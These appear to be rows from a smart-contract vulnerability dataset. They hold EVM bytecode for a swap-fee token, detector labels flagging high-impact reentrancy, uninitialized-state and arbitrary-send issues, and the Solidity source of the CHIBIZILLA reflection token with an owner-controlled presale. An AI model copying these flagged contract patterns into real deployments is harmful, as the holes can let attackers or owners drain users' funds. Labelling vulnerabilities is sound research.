ffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a54905060006801236efcbcbb340000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a546801236efcbcbb34000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c6801236efcbcbb340000600a5461285290919063ffffffff16565b82101561385b57600a546801236efcbcbb340000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220007ddb4cfaafdae6015cd2c3ccf5d00ee0ebef09d8ce640d13d40ba6032f91ff64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 996 |
0x9ff47628940aa8a06aa06830356482680a252122 | pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context
{
address private _owner;
address internal _creator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
_creator = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Chibz is Context, IERC20, Ownable
{
using SafeMath for uint256;
string private _name = 'CHIBIZILLA';
string private _symbol = 'CHIBZ';
mapping (address => uint256) private _presaleLog;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint8 private _decimals = 9;
uint8 private _inPresale;
uint256 private _tPresold;
uint256 public weiPrice;
event Presale(address _buyer, uint256 _amount, uint256 _cost);
constructor ()
{
_inPresale = 1;
weiPrice = 0;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function StartPresale() public onlyOwner
{
require(_inPresale == 0, "presale already started");
_inPresale = 1;
}
function EndPresale() public onlyOwner
{
require(_inPresale != 0, "presale already ended");
_inPresale = 0;
}
function SetPresalePrice(uint256 price) public onlyOwner
{
weiPrice = price;
}
function GetPresaleQuote(uint256 amount) public view returns (uint256)
{
return amount.mul(10**_decimals).div(weiPrice);
}
receive() external payable
{
// contract state checks
require(_inPresale != 0, "presale ended");
require(weiPrice > 0, "presale price not yet set");
// transfer eth value checks
uint256 _msgValue = msg.value;
require(_msgValue <= (1 * 10**18), "Maximum buy limit of 1 ETH");
require(_msgValue >= (5 * 10**16), "Minimum buy limit of 0.05 ETH");
// token limit checks
uint256 _tokensToBuy = GetPresaleQuote(_msgValue);
require(_tPresold + _tokensToBuy <= _tTotal.mul(40).div(100), "Insufficient Presale pool, try to buy less");
require(_tokensToBuy <= balanceOf(owner()), "Insufficient tokens remain, try to buy less");
// address limit checks
address _msgSender = msg.sender;
uint256 _prebought = _presaleLog[_msgSender];
require(_prebought.add(_tokensToBuy) <= _tTotal.div(100), "Tx exceed address presale quota of 1% holdings");
// process the order
_tPresold = _tPresold.add(_tokensToBuy);
_transfer(owner(), _msgSender, _tokensToBuy);
_presaleLog[_msgSender] = _prebought.add(_tokensToBuy);
emit Presale(_msgSender, _tokensToBuy, _msgValue);
}
function CollectFunds() public onlyOwner
{
payable(owner()).transfer(address(this).balance);
}
function WeiPerToken() public view returns (uint256)
{
return weiPrice;
}
function name() public view returns (string memory)
{
return _name;
}
function symbol() public view returns (string memory)
{
return _symbol;
}
function decimals() public view returns (uint8)
{
return _decimals;
}
function totalSupply() public view override returns (uint256)
{
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256)
{
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool)
{
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function isExcluded(address account) public view returns (bool)
{
return _isExcluded[account];
}
function totalFees() public view returns (uint256)
{
return _tFeeTotal;
}
function reflect(uint256 tAmount) public
{
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256)
{
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner()
{
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner()
{
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private
{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private
{
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private
{
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private
{
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private
{
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private
{
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256)
{
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256)
{
uint256 tFee = tAmount.div(100).mul(5);
if (_inPresale != 0)
tFee = 0;
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256)
{
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256)
{
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063cba0e9961161008a578063e29b9e9711610064578063e29b9e97146107cc578063f0a196aa146107e2578063f2cc0c18146107f7578063f84354f11461081757600080fd5b8063cba0e99614610738578063d1cca6fe14610771578063dd62ed3e1461078657600080fd5b8063715018a6146106865780638a459f1c1461069b5780638cb4643f146106bb5780638da5cb5b146106db57806395d89b4114610703578063a9059cbb1461071857600080fd5b80632adfcd05116101235780632adfcd05146105df5780632d838119146105f4578063313ce567146106145780634549b039146106365780635bb2e8d81461065657806370a082311461066b57600080fd5b8063053ab1821461050757806306fdde0314610529578063095ea7b31461055457806313114a9d1461058457806318160ddd146105a357806323b872dd146105bf57600080fd5b3661050257600c54610100900460ff166101bb5760405162461bcd60e51b815260206004820152600d60248201526c1c1c995cd85b1948195b991959609a1b60448201526064015b60405180910390fd5b6000600e541161020d5760405162461bcd60e51b815260206004820152601960248201527f70726573616c65207072696365206e6f7420796574207365740000000000000060448201526064016101b2565b34670de0b6b3a76400008111156102665760405162461bcd60e51b815260206004820152601a60248201527f4d6178696d756d20627579206c696d6974206f6620312045544800000000000060448201526064016101b2565b66b1a2bc2ec500008110156102bd5760405162461bcd60e51b815260206004820152601d60248201527f4d696e696d756d20627579206c696d6974206f6620302e30352045544800000060448201526064016101b2565b60006102c882610837565b90506102e960646102e368056bc75e2d63100